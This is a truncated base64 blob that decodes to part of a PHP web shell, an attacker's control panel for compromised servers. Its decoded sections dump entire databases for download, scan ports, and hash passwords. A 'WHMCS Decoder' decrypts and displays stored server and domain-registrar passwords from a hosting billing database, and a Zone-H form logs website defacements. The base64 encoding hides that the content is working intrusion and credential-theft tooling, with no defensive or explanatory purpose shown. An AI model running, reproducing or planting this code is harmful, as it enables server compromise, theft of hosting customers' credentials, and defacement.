U+JzsKaWYgKCRfUE9TVFsndXNlcm5hbWUnXSAmJiAkX1BPU1RbJ2RibmFtZSddICYmICRfUE9TVFsnbWV0aG9kJ10pewokZGF0ZSA9IGRhdGUoIlktbS1kIik7CiRkYnNlcnZlciA9ICRfUE9TVFsnc2VydmVyJ107CiRkYnVzZXIgPSAkX1BPU1RbJ3VzZXJuYW1lJ107CiRkYnBhc3MgPSAkX1BPU1RbJ3Bhc3N3b3JkJ107CiRkYm5hbWUgPSAkX1BPU1RbJ2RibmFtZSddOwokZmlsZSA9ICJEdW1wLSRkYm5hbWUtJGRhdGUiOwokbWV0aG9kID0gJF9QT1NUWydtZXRob2QnXTsKaWYgKCRtZXRob2Q9PSdzcWwnKXsKJGZpbGU9IkR1bXAtJGRibmFtZS0kZGF0ZS5zcWwiOwokZnA9Zm9wZW4oJGZpbGUsInciKTsKfWVsc2V7CiRmaWxlPSJEdW1wLSRkYm5hbWUtJGRhdGUuc3FsLmd6IjsKJGZwID0gZ3pvcGVuKCRmaWxlLCJ3Iik7Cn0KZnVuY3Rpb24gd3JpdGUoJGRhdGEpIHsKZ2xvYmFsICRmcDsKaWYgKCRfUE9TVFsnbWV0aG9kJ109PSdzc3FsJyl7CmZ3cml0ZSgkZnAsJGRhdGEpOwp9ZWxzZXsKZ3p3cml0ZSgkZnAsICRkYXRhKTsKfX0KbXlzcWxfY29ubmVjdCAoJGRic2VydmVyLCAkZGJ1c2VyLCAkZGJwYXNzKTsKbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUpOwokdGFibGVzID0gbXlzcWxfcXVlcnkgKCJTSE9XIFRBQkxFUyIpOwp3aGlsZSAoJGkgPSBteXNxbF9mZXRjaF9hcnJheSgkdGFibGVzKSkgewogICAgJGkgPSAkaVsnVGFibGVzX2luXycuJGRibmFtZV07CiAgICAkY3JlYXRlID0gbXlzcWxfZmV0Y2hfYXJyYXkobXlzcWxfcXVlcnkgKCJTSE9XIENSRUFURSBUQUJMRSAiLiRpKSk7CiAgICB3cml0ZSgkY3JlYXRlWydDcmVhdGUgVGFibGUnXS4iO1xuXG4iKTsKICAgICRzcWwgPSBteXNxbF9xdWVyeSAoIlNFTEVDVCAqIEZST00gIi4kaSk7CiAgICBpZiAobXlzcWxfbnVtX3Jvd3MoJHNxbCkpIHsKICAgICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX3Jvdygkc3FsKSkgewogICAgICAgICAgICBmb3JlYWNoICgkcm93IGFzICRqID0+ICRrKSB7CiAgICAgICAgICAgICAgICAkcm93WyRqXSA9ICInIi5teXNxbF9lc2NhcGVfc3RyaW5nKCRrKS4iJyI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgd3JpdGUoIklOU0VSVCBJTlRPICRpIFZBTFVFUygiLmltcGxvZGUoIiwiLCAkcm93KS4iKTtcbiIpOwogICAgICAgIH0KICAgIH0KfQppZiAoJG1ldGhvZD09J3NzcWwnKXsKZmNsb3NlICgkZnApOwp9ZWxzZXsKZ3pjbG9zZSgkZnApO30KaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iIC4gJGZpbGUpOyAgIApoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vZG93bmxvYWQiKTsKaGVhZGVyKCJDb250ZW50LUxlbmd0aDogIiAuIGZpbGVzaXplKCRmaWxlKSk7CmZsdXNoKCk7CgokZnAgPSBmb3BlbigkZmlsZSwgInIiKTsKd2hpbGUgKCFmZW9mKCRmcCkpCnsKICAgIGVjaG8gZnJlYWQoJGZwLCA2NTUzNik7CiAgICBmbHVzaCgpOwp9IApmY2xvc2UoJGZwKTsgCn0KCn0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdwb3J0LXNjJykpCiAgICB7CiAgICA/PgogICAgPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+Jng9cG9ydC1zYyIgbWV0aG9kPSJwb3N0Ij4KICAgIDw/cGhwCiAgICBlY2hvICc8YnI+PGJyPjxjZW50ZXI+PGJyPjxiPi0tPT1bIFBvcnQgU2Nhbm5lciBdPT0tLTwvYj48YnI+JzsKICAgICRzdGFydCA9IHN0cmlwX3RhZ3MoJF9QT1NUWydzdGFydCddKTsKICAgICRlbmQgPSBzdHJpcF90YWdzKCRfUE9TVFsnZW5kJ10pOwogICAgJGhvc3QgPSBzdHJpcF90YWdzKCRfUE9TVFsnaG9zdCddKTsKICAgIGlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc19udW1lcmljKCRfUE9TVFsnZW5kJ10pICYmIGlzX251bWVyaWMoJF9QT1NUWydzdGFydCddKSl7CiAgICBmb3IoJGkgPSAkc3RhcnQ7ICRpPD0kZW5kOyAkaSsrKXsKICAgICRmcCA9IEBmc29ja29wZW4oJGhvc3QsICRpLCAkZXJybm8sICRlcnJzdHIsIDMpOwogICAgaWYoJGZwKXsKICAgIGVjaG8gJ1BvcnQgJy4kaS4nIGlzIDxmb250IGNvbG9yPWdyZWVuPm9wZW48L2ZvbnQ+PGJyPic7CiAgICB9CiAgICBmbHVzaCgpOwogICAgfQogICAgfWVsc2V7CiAgICBlY2hvICc8dGFibGUgY2xhc3M9dGFibmV0IHN0eWxlPSJ3aWR0aDozMDBweDtwYWRkaW5nOjAgMXB4OyI+CiAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InkiIHZhbHVlPSJwaHB0b29scyI+CiAgIDx0cj48dGggY29sc3Bhbj0iNSI+UG9ydCBTY2FubmVyPC90aD48L2NlbnRlcj48L3RyPgogICA8dHI+CgkJPHRkPkhvc3Q8L3RkPgoJCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImlucHV0eiIgIHN0eWxlPSJ3aWR0aDoyMjBweDtjb2xvcjojRkYwMDAwOyIgbmFtZT0iaG9zdCIgdmFsdWU9ImxvY2FsaG9zdCIvPjwvdGQ+CiAgIDwvdHI+CiAgIDx0cj4KCQk8dGQ+UG9ydCBzdGFydDwvdGQ+CgkJPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iaW5wdXR6IiBzdHlsZT0id2lkdGg6MjIwcHg7Y29sb3I6I0ZGMDAwMDsiIG5hbWU9InN0YXJ0IiB2YWx1ZT0iMCIvPjwvdGQ+CiAgIDwvdHI+Cgk8dHI+PHRkPlBvcnQgZW5kPC90ZD4KCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJpbnB1dHoiICBzdHlsZT0id2lkdGg6MjIwcHg7Y29sb3I6I0ZGMDAwMDsiIG5hbWU9ImVuZCIgdmFsdWU9IjUwMDAiLz48L3RkPgogICA8L3RyPjx0ZD48aW5wdXQgY2xhc3M9ImlucHV0emJ1dCIgdHlwZT0ic3VibWl0IiBzdHlsZT0iY29sb3I6I0ZGMDAwMCIgdmFsdWU9IlNjYW4gUG9ydHMiIC8+CiAgIDwvdGQ+PC9mb3JtPjwvY2VudGVyPjwvdGFibGU+JzsKICAgIH0KfQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwoKZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdoYXNoJykpCiAgICB7CiRzdWJtaXQ9ICRfUE9TVFsnZW50ZXInXTsKaWYgKGlzc2V0KCRzdWJtaXQpKSB7CiRwYXNzID0gJF9QT1NUWydwYXNzd29yZCddOyAvLyBwYXNzd29yZAokc2FsdCA9ICd9I2Y0Z2F+ZyU3aGpnNCZqKDdtaz8vIWJqMzBhYi13aT02XjctJF5SOUZ8R0s1SiNFNldUO0lPW0pOJzsgLy8gcmFuZG9tIHN0cmluZwokaGFzaCA9IG1kNSgkcGFzcyk7IC8vIG1kNSBoYXNoICMxCiRtZDQgPSBoYXNoKCJtZDQiLCRwYXNzKTsKJGhhc2hfbWQ1ID0gbWQ1KCRzYWx0LiRwYXNzKTsgLy8gbWQ1IGhhc2ggd2l0aCBzYWx0ICMyCiRoYXNoX21kNV9kb3VibGUgPSBtZDUoc2hhMSgkc2FsdC4kcGFzcykpOyAvLyBtZDUgaGFzaCB3aXRoIHNhbHQgJiBzaGExICMzCiRoYXNoMSA9IHNoYTEoJHBhc3MpOyAvLyBzaGExIGhhc2ggIzQKJHNoYTI1NiA9IGhhc2goInNoYTI1NiIsJHRleHQpOwokaGFzaDFfc2hhMSA9IHNoYTEoJHNhbHQuJHBhc3MpOyAvLyBzaGExIGhhc2ggd2l0aCBzYWx0ICM1CiRoYXNoMV9zaGExX2RvdWJsZSA9IHNoYTEobWQ1KCRzYWx0LiRwYXNzKSk7IC8vIHNoYTEgaGFzaCB3aXRoIHNhbHQgJiBtZDUgIzYKfQplY2hvICc8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij48Yj48dGFibGUgY2xhc3M9dGFibmV0Pic7CmVjaG8gJzx0cj48dGggY29sc3Bhbj0iMiI+UGFzc3dvcmQgSGFzaDwvdGg+PC9jZW50ZXI+PC90cj4nOwplY2hvICc8dHI+PHRkPjxiPkVudGVyIHRoZSB3b3JkIHlvdSB3YW50IHRvIGVuY3J5cHQ6PC9iPjwvdGQ+JzsKZWNobyAnPHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJwYXNzd29yZCIgc2l6ZT0iNDAiIC8+JzsKZWNobyAnPGlucHV0IGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0iZW50ZXIiIHZhbHVlPSJoYXNoIiAvPic7CmVjaG8gJzwvdGQ+PC90cj48YnI+JzsKZWNobyAnPHRyPjx0aCBjb2xzcGFuPSIyIj5IYXNoIFJlc3VsdDwvdGg+PC9jZW50ZXI+PC90cj4nOwplY2hvICc8dHI+PHRkPk9yaWdpbmFsIFBhc3N3b3JkPC90ZD48dGQ+PGlucHV0IGNsYXNzPWlucHV0eiB0eXBlPXRleHQgc2l6ZT01MCB2YWx1ZT0nLiRwYXNzLic+PC90ZD48L3RyPjxicj48YnI+JzsKZWNobyAnPHRyPjx0ZD5NRDU8L3RkPjx0ZD48aW5wdXQgY2xhc3M9aW5wdXR6IHR5cGU9dGV4dCBzaXplPTUwIHZhbHVlPScuJGhhc2guJz48L3RkPjwvdHI+PGJyPjxicj4nOwplY2hvICc8dHI+PHRkPk1ENDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz1pbnB1dHogdHlwZT10ZXh0IHNpemU9NTAgdmFsdWU9Jy4kbWQ0Lic+PC90ZD48L3RyPjxicj48YnI+JzsKZWNobyAnPHRyPjx0ZD5NRDUgd2l0aCBTYWx0PC90ZD48dGQ+PGlucHV0IGNsYXNzPWlucHV0eiB0eXBlPXRleHQgc2l6ZT01MCB2YWx1ZT0nLiRoYXNoX21kNS4nPjwvdGQ+PC90cj48YnI+PGJyPic7CmVjaG8gJzx0cj48dGQ+TUQ1IHdpdGggU2FsdCAmIFNoYTE8L3RkPjx0ZD48aW5wdXQgY2xhc3M9aW5wdXR6IHR5cGU9dGV4dCBzaXplPTUwIHZhbHVlPScuJGhhc2hfbWQ1X2RvdWJsZS4nPjwvdGQ+PC90cj48YnI+PGJyPic7CmVjaG8gJzx0cj48dGQ+U2hhMTwvdGQ+PHRkPjxpbnB1dCBjbGFzcz1pbnB1dHogdHlwZT10ZXh0IHNpemU9NTAgdmFsdWU9Jy4kaGFzaDEuJz48L3RkPjwvdHI+PGJyPjxicj4nOwplY2hvICc8dHI+PHRkPlNoYTI1NjwvdGQ+PHRkPjxpbnB1dCBjbGFzcz1pbnB1dHogdHlwZT10ZXh0IHNpemU9NTAgdmFsdWU9Jy4kc2hhMjU2Lic+PC90ZD48L3RyPjxicj48YnI+JzsKZWNobyAnPHRyPjx0ZD5TaGExIHdpdGggU2FsdDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz1pbnB1dHogdHlwZT10ZXh0IHNpemU9NTAgdmFsdWU9Jy4kaGFzaDFfc2hhMS4nPjwvdGQ+PC90cj48YnI+PGJyPic7CmVjaG8gJzx0cj48dGQ+U2hhMSB3aXRoIFNhbHQgJiBNRDU8L3RkPjx0ZD48aW5wdXQgY2xhc3M9aW5wdXR6IHR5cGU9dGV4dCBzaXplPTUwIHZhbHVlPScuJGhhc2gxX3NoYTFfZG91YmxlLic+PC90ZD48L3RyPjxicj48YnI+PC90YWJsZT4nOyAKfQoKLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICd3aG1jcycpKQp7CQo/Pgo8Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDsgPz4mYW1wO3g9d2htY3MiIG1ldGhvZD0icG9zdCI+Cgo8P3BocAoKZnVuY3Rpb24gZGVjcnlwdCAoJHN0cmluZywkY2NfZW5jcnlwdGlvbl9oYXNoKQp7CiAgICAka2V5ID0gbWQ1IChtZDUgKCRjY19lbmNyeXB0aW9uX2hhc2gpKSAuIG1kNSAoJGNjX2VuY3J5cHRpb25faGFzaCk7CiAgICAkaGFzaF9rZXkgPSBfaGFzaCAoJGtleSk7CiAgICAkaGFzaF9sZW5ndGggPSBzdHJsZW4gKCRoYXNoX2tleSk7CiAgICAkc3RyaW5nID0gYmFzZTY0X2RlY29kZSAoJHN0cmluZyk7CiAgICAkdG1wX2l2ID0gc3Vic3RyICgkc3RyaW5nLCAwLCAkaGFzaF9sZW5ndGgpOwogICAgJHN0cmluZyA9IHN1YnN0ciAoJHN0cmluZywgJGhhc2hfbGVuZ3RoLCBzdHJsZW4gKCRzdHJpbmcpIC0gJGhhc2hfbGVuZ3RoKTsKICAgICRpdiA9ICRvdXQgPSAnJzsKICAgICRjID0gMDsKICAgIHdoaWxlICgkYyA8ICRoYXNoX2xlbmd0aCkKICAgIHsKICAgICAgICAkaXYgLj0gY2hyIChvcmQgKCR0bXBfaXZbJGNdKSBeIG9yZCAoJGhhc2hfa2V5WyRjXSkpOwogICAgICAgICsrJGM7CiAgICB9CiAgICAka2V5ID0gJGl2OwogICAgJGMgPSAwOwogICAgd2hpbGUgKCRjIDwgc3RybGVuICgkc3RyaW5nKSkKICAgIHsKICAgICAgICBpZiAoKCRjICE9IDAgQU5EICRjICUgJGhhc2hfbGVuZ3RoID09IDApKQogICAgICAgIHsKICAgICAgICAgICAgJGtleSA9IF9oYXNoICgka2V5IC4gc3Vic3RyICgkb3V0LCAkYyAtICRoYXNoX2xlbmd0aCwgJGhhc2hfbGVuZ3RoKSk7CiAgICAgICAgfQogICAgICAgICRvdXQgLj0gY2hyIChvcmQgKCRrZXlbJGMgJSAkaGFzaF9sZW5ndGhdKSBeIG9yZCAoJHN0cmluZ1skY10pKTsKICAgICAgICArKyRjOwogICAgfQogICAgcmV0dXJuICRvdXQ7Cn0KCmZ1bmN0aW9uIF9oYXNoICgkc3RyaW5nKQp7CiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzICgnc2hhMScpKQogICAgewogICAgICAgICRoYXNoID0gc2hhMSAoJHN0cmluZyk7CiAgICB9CiAgICBlbHNlCiAgICB7CiAgICAgICAgJGhhc2ggPSBtZDUgKCRzdHJpbmcpOwogICAgfQogICAgJG91dCA9ICcnOwogICAgJGMgPSAwOwogICAgd2hpbGUgKCRjIDwgc3RybGVuICgkaGFzaCkpCiAgICB7CiAgICAgICAgJG91dCAuPSBjaHIgKGhleGRlYyAoJGhhc2hbJGNdIC4gJGhhc2hbJGMgKyAxXSkpOwogICAgICAgICRjICs9IDI7CiAgICB9CiAgICByZXR1cm4gJG91dDsKfQoKZWNobyAiCjxicj48Y2VudGVyPjxmb250IHNpemU9JzUnIGNvbG9yPScjRkYwMDAwJz48Yj4tLT09WyBXSE1DUyBEZWNvZGVyIF09PS0tPC9iPjwvZm9udD48L2NlbnRlcj4KPGNlbnRlcj4KPGJyPgoKPEZPUk0gYWN0aW9uPScnICBtZXRob2Q9J3Bvc3QnPgo8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdmb3JtX2FjdGlvbicgdmFsdWU9JzInPgo8YnI+Cjx0YWJsZSBjbGFzcz10YWJuZXQgc3R5bGU9d2lkdGg6MzIwcHg7cGFkZGluZzowIDFweDs+Cjx0cj48dGggY29sc3Bhbj0yPldITUNTIERlY29kZXI8L3RoPjwvdHI+IAo8dHI+PHRkPmRiX2hvc3QgPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIHN0eWxlPSdjb2xvcjojRkYwMDAwO2JhY2tncm91bmQtY29sb3I6JyBjbGFzcz0naW5wdXR6JyBzaXplPSczOCcgbmFtZT0nZGJfaG9zdCcgdmFsdWU9J2xvY2FsaG9zdCc+PC90ZD48L3RyPgo8dHI+PHRkPmRiX3VzZXJuYW1lIDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBzdHlsZT0nY29sb3I6I0ZGMDAwMDtiYWNrZ3JvdW5kLWNvbG9yOicgY2xhc3M9J2lucHV0eicgc2l6ZT0nMzgnIG5hbWU9J2RiX3VzZXJuYW1lJyB2YWx1ZT0nJz48L3RkPjwvdHI+Cjx0cj48dGQ+ZGJfcGFzc3dvcmQ8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgc3R5bGU9J2NvbG9yOiNGRjAwMDA7YmFja2dyb3VuZC1jb2xvcjonIGNsYXNzPSdpbnB1dHonIHNpemU9JzM4JyBuYW1lPSdkYl9wYXNzd29yZCcgdmFsdWU9Jyc+PC90ZD48L3RyPgo8dHI+PHRkPmRiX25hbWU8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgc3R5bGU9J2NvbG9yOiNGRjAwMDA7YmFja2dyb3VuZC1jb2xvcjonIGNsYXNzPSdpbnB1dHonIHNpemU9JzM4JyBuYW1lPSdkYl9uYW1lJyB2YWx1ZT0nJz48L3RkPjwvdHI+Cjx0cj48dGQ+Y2NfZW5jcnlwdGlvbl9oYXNoPC90ZD48dGQ+PGlucHV0IHN0eWxlPSdjb2xvcjojRkYwMDAwO2JhY2tncm91bmQtY29sb3I6JyB0eXBlPSd0ZXh0JyBjbGFzcz0naW5wdXR6JyBzaXplPSczOCcgbmFtZT0nY2NfZW5jcnlwdGlvbl9oYXNoJyB2YWx1ZT0nJz48L3RkPjwvdHI+Cjx0ZD4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8SU5QVVQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyBzdHlsZT0nY29sb3I6I0ZGMDAwMDtiYWNrZ3JvdW5kLWNvbG9yOicgIHZhbHVlPSdTdWJtaXQnIG5hbWU9J1N1Ym1pdCc+PC90ZD4KPC90YWJsZT4KPC9GT1JNPgo8L2NlbnRlcj4KIjsKCiBpZigkX1BPU1RbJ2Zvcm1fYWN0aW9uJ10gPT0gMiApCiB7CiAvL2luY2x1ZGUoJGZpbGUpOwogJGRiX2hvc3Q9KCRfUE9TVFsnZGJfaG9zdCddKTsKICRkYl91c2VybmFtZT0oJF9QT1NUWydkYl91c2VybmFtZSddKTsKICRkYl9wYXNzd29yZD0oJF9QT1NUWydkYl9wYXNzd29yZCddKTsKICRkYl9uYW1lPSgkX1BPU1RbJ2RiX25hbWUnXSk7CiAkY2NfZW5jcnlwdGlvbl9oYXNoPSgkX1BPU1RbJ2NjX2VuY3J5cHRpb25faGFzaCddKTsKCgoKICAgICRsaW5rPW15c3FsX2Nvbm5lY3QoJGRiX2hvc3QsJGRiX3VzZXJuYW1lLCRkYl9wYXNzd29yZCkgOwogICAgICAgIG15c3FsX3NlbGVjdF9kYigkZGJfbmFtZSwkbGluaykgOwokcXVlcnkgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0YmxzZXJ2ZXJzIik7CndoaWxlKCR2ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgewokaXBhZGRyZXNzID0gJHZbJ2lwYWRkcmVzcyddOwokdXNlcm5hbWUgPSAkdlsndXNlcm5hbWUnXTsKJHR5cGUgPSAkdlsndHlwZSddOwokYWN0aXZlID0gJHZbJ2FjdGl2ZSddOwokaG9zdG5hbWUgPSAkdlsnaG9zdG5hbWUnXTsKZWNobygiPGNlbnRlcj48dGFibGUgYm9yZGVyPScxJz4iKTsKJHBhc3N3b3JkID0gZGVjcnlwdCAoJHZbJ3Bhc3N3b3JkJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOwplY2hvKCI8dHI+PHRkPlR5cGU8L3RkPjx0ZD4kdHlwZTwvdGQ+PC90cj4iKTsKZWNobygiPHRyPjx0ZD5BY3RpdmU8L3RkPjx0ZD4kYWN0aXZlPC90ZD48L3RyPiIpOwplY2hvKCI8dHI+PHRkPkhvc3RuYW1lPC90ZD48dGQ+JGhvc3RuYW1lPC90ZD48L3RyPiIpOwplY2hvKCI8dHI+PHRkPklwPC90ZD48dGQ+JGlwYWRkcmVzczwvdGQ+PC90cj4iKTsKZWNobygiPHRyPjx0ZD5Vc2VybmFtZTwvdGQ+PHRkPiR1c2VybmFtZTwvdGQ+PC90cj4iKTsKZWNobygiPHRyPjx0ZD5QYXNzd29yZDwvdGQ+PHRkPiRwYXNzd29yZDwvdGQ+PC90cj4iKTsKCmVjaG8gIjwvdGFibGU+PGJyPjxicj48L2NlbnRlcj4iOwp9CgogICAgJGxpbms9bXlzcWxfY29ubmVjdCgkZGJfaG9zdCwkZGJfdXNlcm5hbWUsJGRiX3Bhc3N3b3JkKSA7CiAgICAgICAgbXlzcWxfc2VsZWN0X2RiKCRkYl9uYW1lLCRsaW5rKSA7CiRxdWVyeSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRibHJlZ2lzdHJhcnMiKTsKZWNobygiPGNlbnRlcj5Eb21haW4gUmVzZWxsZXIgPGJyPjx0YWJsZSBjbGFzcz10YWJuZXQgYm9yZGVyPScxJz4iKTsKZWNobygiPHRyPjx0ZD5SZWdpc3RyYXI8L3RkPjx0ZD5TZXR0aW5nPC90ZD48dGQ+VmFsdWU8L3RkPjwvdHI+Iik7CndoaWxlKCR2ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgewokcmVnaXN0cmFyICAgICA9ICR2WydyZWdpc3RyYXInXTsKJHNldHRpbmcgPSAkdlsnc2V0dGluZyddOwokdmFsdWUgPSBkZWNyeXB0ICgkdlsndmFsdWUnXSwgJGNjX2VuY3J5cHRpb25faGFzaCk7CmlmICgkdmFsdWU9PSIiKSB7CiR2YWx1ZT0wOwp9CiRwYXNzd29yZCA9IGRlY3J5cHQgKCR2WydwYXNzd29yZCddLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsKZWNobygiPHRyPjx0ZD4kcmVnaXN0cmFyPC90ZD48dGQ+JHNldHRpbmc8L3RkPjx0ZD4kdmFsdWU8L3RkPjwvdHI+Iik7Cn0KfQp9CgplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3pvbmUnKSkKewkKPz4KPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+JmFtcDt4PXpvbmUiIG1ldGhvZD0icG9zdCI+Cgo8YnI+PGJyPjxjZW50ZXI+CjwhLS0gWm9uZS1IIC0tPgo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSdQT1NUJz48dGFibGU+PHRhYmxlIGNsYXNzPSd0YWJuZXQnPjx0cj4KPHRkIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiMwMDAwO3BhZGRpbmctbGVmdDoxMHB4Oyc+PHRyPjx0cj48dGggY29sc3Bhbj0iMiI+PGgyPlpvbmUtSDwvaDI+PC90aD48L3RyPjwvdGQ+PC90cj48dHI+PHRkIGhlaWdodD0nNDUnIGNvbHNwYW49JzInPjxmb3JtIG1ldGhvZD0icG9zdCI+CjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iaW5wdXR6IiBuYW1lPSJkZWZhY2VyIiB2YWx1ZT0iTmFtYSBEZWZhY2VyIiAvPgo8c2VsZWN0IG5hbWU9ImhhY2ttb2RlIiBjbGFzcz0iaW5wdXR6IiA+CjxvcHRpb24gPi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLUNob29zZSBBbnktLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS08L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMSI+S25vd24gVnVsbmVyYWJpbGl0eSAoaS5lLiB1bnBhdGNoZWQgc3lzdGVtKTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyIiA+VW5kaXNjbG9zZWQgKG5ldykgdnVsbmVyYWJpbGl0eTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzIiA+Q29uZmlndXJhdGlvbiAvIEFkbWluLiBNaXN0YWtlPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjQiID5CcnV0ZSBGb3JjZSBBdHRhY2s8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNSIgPlNvY2lhbCBFbmdpbmVlcmluZzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI2IiA+V2ViIFNlcnZlciBJbnRydXNpb248L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNyIgPldlYiBTZXJ2ZXIgRXh0ZXJuYWwgTW9kdWxlIEludHJ1c2lvbjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI4IiA+TWFpbCBTZXJ2ZXIgSW50cnVzaW9uPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjkiID5GVFAgU2VydmVyIEludHJ1c2lvbjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxMCIgPlNTSCBTZXJ2ZXIgSW50cnVzaW9uPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjExIiA+VGVsbmV0IFNlcnZlciBJbnRydXNpb248L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTIiID5SUEMgU2VydmVyIEludHJ1c2lvbjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxMyIgPlNoYXJlcyBNaXNjb25maWd1cmF0aW9uPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE0IiA+T3RoZXIgU2VydmVyIEludHJ1c2lvbjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxNSIgPlNRTCBJbmplY3Rpb248L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTYiID5VUkwgUG9pc29uaW5nPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE3IiA+RmlsZSBJbmNsdXNpb248L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTgiID5PdGhlciBXZWIgQXBwbGljYXRpb24gQnVnPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE5IiA+UmVtb3RlIEFkbWluaXN0cmF0aXZlIFBhbmVsIEFjY2VzcyBCcnV0ZWZvcmNpbmc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjAiID5SZW1vdGUgQWRtaW5pc3RyYXRpdmUgUGFuZWwgQWNjZXNzIFBhc3N3b3JkIEd1ZXNzaW5nPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIxIiA+UmVtb3RlIEFkbWluaXN0cmF0aXZlIFBhbmVsIEFjY2VzcyBTb2NpYWwgRW5naW5lZXJpbmc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjIiID5BdHRhY2sgQWdhaW5zdCBBZG1pbmlzdHJhdG9yKHBhc3N3b3JkIHN0ZWFsaW5nL3NuaWZmaW5nKTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMyIgPkFjY2VzcyBDcmVkZW50aWFscyBUaHJvdWdoIE1hbiBJbiB0aGUgTWlkZGxlIEF0dGFjazwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyNCIgPlJlbW90ZSBTZXJ2aWNlIFBhc3N3b3JkIEd1ZXNzaW5nPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjI1IiA+UmVtb3RlIFNlcnZpY2UgUGFzc3dvcmQgQnJ1dGVmb3JjZTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyNiIgPlJlcm91dGluZyBBZnRlciBBdHRhY2tpbmcgVGhlIEZpcmV3YWxsPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjI3IiA+UmVyb3V0aW5nIEFmdGVyIEF0dGFja2luZyBUaGUgUm91dGVyPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjI4IiA+RE5TIEF0dGFjayBUaHJvdWdoIFNvY2lhbCBFbmdpbmVlcmluZzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyOSIgPkROUyBBdHRhY2sgVGhyb3VnaCBDYWNoZSBQb2lzb25pbmc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMzAiID5Ob3QgQXZhaWxhYmxlPC9vcHRpb24+Cjwvc2VsZWN0PgoKPHNlbGVjdCBuYW1lPSJyZWFzb24iIGNsYXNzPSJpbnB1dHoiID4KPG